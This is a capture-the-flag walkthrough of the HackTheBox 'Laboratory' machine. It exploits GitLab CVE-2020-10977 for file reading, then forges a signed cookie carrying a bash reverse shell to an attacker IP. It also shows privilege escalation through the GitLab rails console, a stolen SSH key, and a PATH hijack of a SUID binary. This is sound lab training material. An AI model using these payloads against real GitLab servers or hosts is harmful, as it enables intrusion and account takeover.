# HackTheBox Laboratory ## 1. Info * IP : 10.10.10.216 * OS : Linux * Difficulty : Easy ## 2. Nmap * Payload: `sudo nmap -sV 10.10.10.216 -oA nmap/10.10.10.216` * ![](https://i.imgur.com/22Zudms.png) * Port 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) * Port 80: Apache httpd 2.4.41 * Port 443: Apache/2.4.41 * ssl-cert: Subject: commonName=laboratory.htb * No CVE to use ## 3. Web Server * View: ![](https://i.imgur.com/pEJ1bo1.png) * Web Server redirect us to laboratory.htb * Add laboratory.htb to /etc/hosts file ![](https://i.imgur.com/LTLxh50.png) * View: ![](https://i.imgur.com/QLaUQcb.jpg) * Gobuster * Payload:`gobuster dir -u "https://laboratory.htb/" -w ../../../文件/SecLists/Discovery/Web-Content/raft-small-words.txt -x html` * Output: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb ![](https://i.imgur.com/i9v8Fi3.png) * re-run Gobuster With option `-t` to avoid certificate check * Add git.laboratory.htb to /etc/hosts * Nothing Interesting in Gobuster(laboratory.htb) ## 4. Web Server(GitLab Server) * View: ![](https://i.imgur.com/AmQYd1G.png) * Sign up * Try use normal email account ![](https://i.imgur.com/xXBMmGP.png) * Fail! * Try to use **laboratory@htb** to sign up ![](https://i.imgur.com/3m4Xign.png) * Success! * Explore GitLab * Project SecureWebsite * Author:Dexter McPherson * Internal Project ![](https://i.imgur.com/xsZemvY.png) * There is no branch in this project * Project have index.html code look same as https://laboratory.htb/ * Issue: * Create by Seven ![](https://i.imgur.com/cCGKb9K.png) * HTTP 418 is a **JOKE** nothing useful * GitLab Server * Version: GitLab Community Edition 12.8.1 * Google it! ![](https://i.imgur.com/dvswabH.png) * [CVE-2020-10977](https://nvd.nist.gov/vuln/detail/CVE-2020-10977) ## 5. Exploit GitLab Server(CVE-2020-10977) * CVE Info: * CVE Number: CVE-2020-10977 * Affect version: GitLab below 12.9.0 * CVE Description: GitLab EE/CE 8.5 to 12.9 is vulnerable to a an path traversal when moving an issue between projects.(From NVD) * Vulnerable Code: ![](https://i.imgur.com/qEU0dH5.png) ``` #/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/gfm/uploads_rewriter.rb:: @text.gsub(@pattern) do |markdown| file = find_file(@source_project, $~[:secret], $~[:file]) break markdown unless file.try(:exists?) klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader moved = klass.copy_to(file, target_parent) ... def find_file(project, secret, file) uploader = FileUploader.new(project, secret: secret) uploader.retrieve_from_store!(file) uploader end .............. MARKDOWN_PATTERN=%r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze ``` * Exploit LFI: * **Need valid username and passwd** * Exploit PoC: [cve-2020-10977.py](https://github.com/thewhiteh4t/cve-2020-10977/blob/main/cve_2020_10977.py) * Payload: `python3 cve_2020_10977.py https://git.laboratory.htb user passwd` ![](https://i.imgur.com/t6fNesu.png) * We can view local file by enter absolute path: ![](https://i.imgur.com/tcbrG72.png) * PoC Analyze: * Create 2 Project: ![](https://i.imgur.com/QZ5z3rv.png) * Create Issue: ![](https://i.imgur.com/unfIThu.png) * Issue Data: ![](https://i.imgur.com/NhwMm5w.png) * Issue description: * `![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(filename)` * Move Issue: ![](https://i.imgur.com/raHO2JG.png) * Exploit RCE * **Need to build same version of GitLab on attacker machine** * Build GitLab with Docker:`sudo docker run gitlab/gitlab-ce:12.8.1-ce.0` * Enter Docker shell: `sudo exec -it docker_img_name bash` * Get secret_key_base from GitLab(Lab): * Absolute Path to File : `/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml` * Change Docker's GitLab secret_key_base value to Lab's secret_key_base: * Docker Shell: * `cd /etc/gitlab` * `vim gitlab.rb` * Add gitlab_rails['secret_key_base']='Lab_secret_key_base_here' ![](https://i.imgur.com/UEITuJ2.png) * `gitlab-ctl reconfigure` * Start GitLab rails console in Docker:`gitlab-rails console` * Enter Payload in GitLab rails console: ``` request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.19/9001 0>&1'` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie] ``` * After send payload we will get RCE payload: ![](https://i.imgur.com/y8FCvYZ.png) * Attacker machine * Set up netcat:`nc -lvnp 9001` * Payload:`curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=enter_rce_payload_here" -k ` ![](https://i.imgur.com/VJbWvhI.png) * Get Shell(User:git) ![](https://i.imgur.com/JzOlOlJ.png) ## 6. Privilage Escalation To User Dexter * Current Info: * Username: git * Ip address: 172.17.0.2 * Container: Yes(Docker) * Gitlab-rails * GitLab is a web application built using the Ruby on Rails framework * GitLab Rails is GitLab system administrators who are troubleshooting a problem or need to retrieve some data that can only be done through direct access of the GitLab application * We can config user data by using GitLab Rails * Get gitlab admin * Get in GitLab Rails Console * `gitlab-rails console` ![](https://i.imgur.com/CHzwjvG.png) * We can use `User.find_by(username: "your_username")` ![](https://i.imgur.com/7XGUPgc.png) * Set user role to admin ``` user = User.find_by(username: "jerry") user.admin=true user.save ``` * We get admin access to GitLab ![](https://i.imgur.com/Ce26OdX.png) * Explore GitLab * In project page we saw another project create by @dexter ![](https://i.imgur.com/KNCJ6BE.png) * Explore the project we find a .ssh file ![](https://i.imgur.com/jSYdK9H.png) * Login Dexter by using ssh * Copy id_rsa file to attacker machine * Login dexter by using id_rsa file ![](https://i.imgur.com/euOFFDU.png) ## 7. Privilage Escalation To Root * Enum * Run Linpeas.sh ![](https://i.imgur.com/jXGCCxP.png) * There is a weird port open(port:60080) * Use `curl 127.0.0.1:60080 -L` ![](https://i.imgur.com/8hBzAfE.png) * Looks like GitLab Server * Nothing to do here ![](https://i.imgur.com/DLUY4B5.png) * Interesting path ![](https://i.imgur.com/IlQCaXA.png) * Found a unknown SUID binanry * Privilage Escalation To Root * Analyze docker-security * `ltrace docker-security` ![](https://i.imgur.com/bqHBIZ0.png) * docker-security set uid and gid to 0(which is root),the exec chmod command * we can exploit chmod by changing \$PATH to fake chmod file * Exploit * Go to any dir we can write(/tmp/bin) * Creat shell script name `chmod`(need to chomod +x) ![](https://i.imgur.com/YLSwN5s.png) * Add /tmp to \$PATH: `export PATH=/tmp/bin:$PATH` * Run docker-security ![](https://i.imgur.com/BXsmlaW.png) * Get root!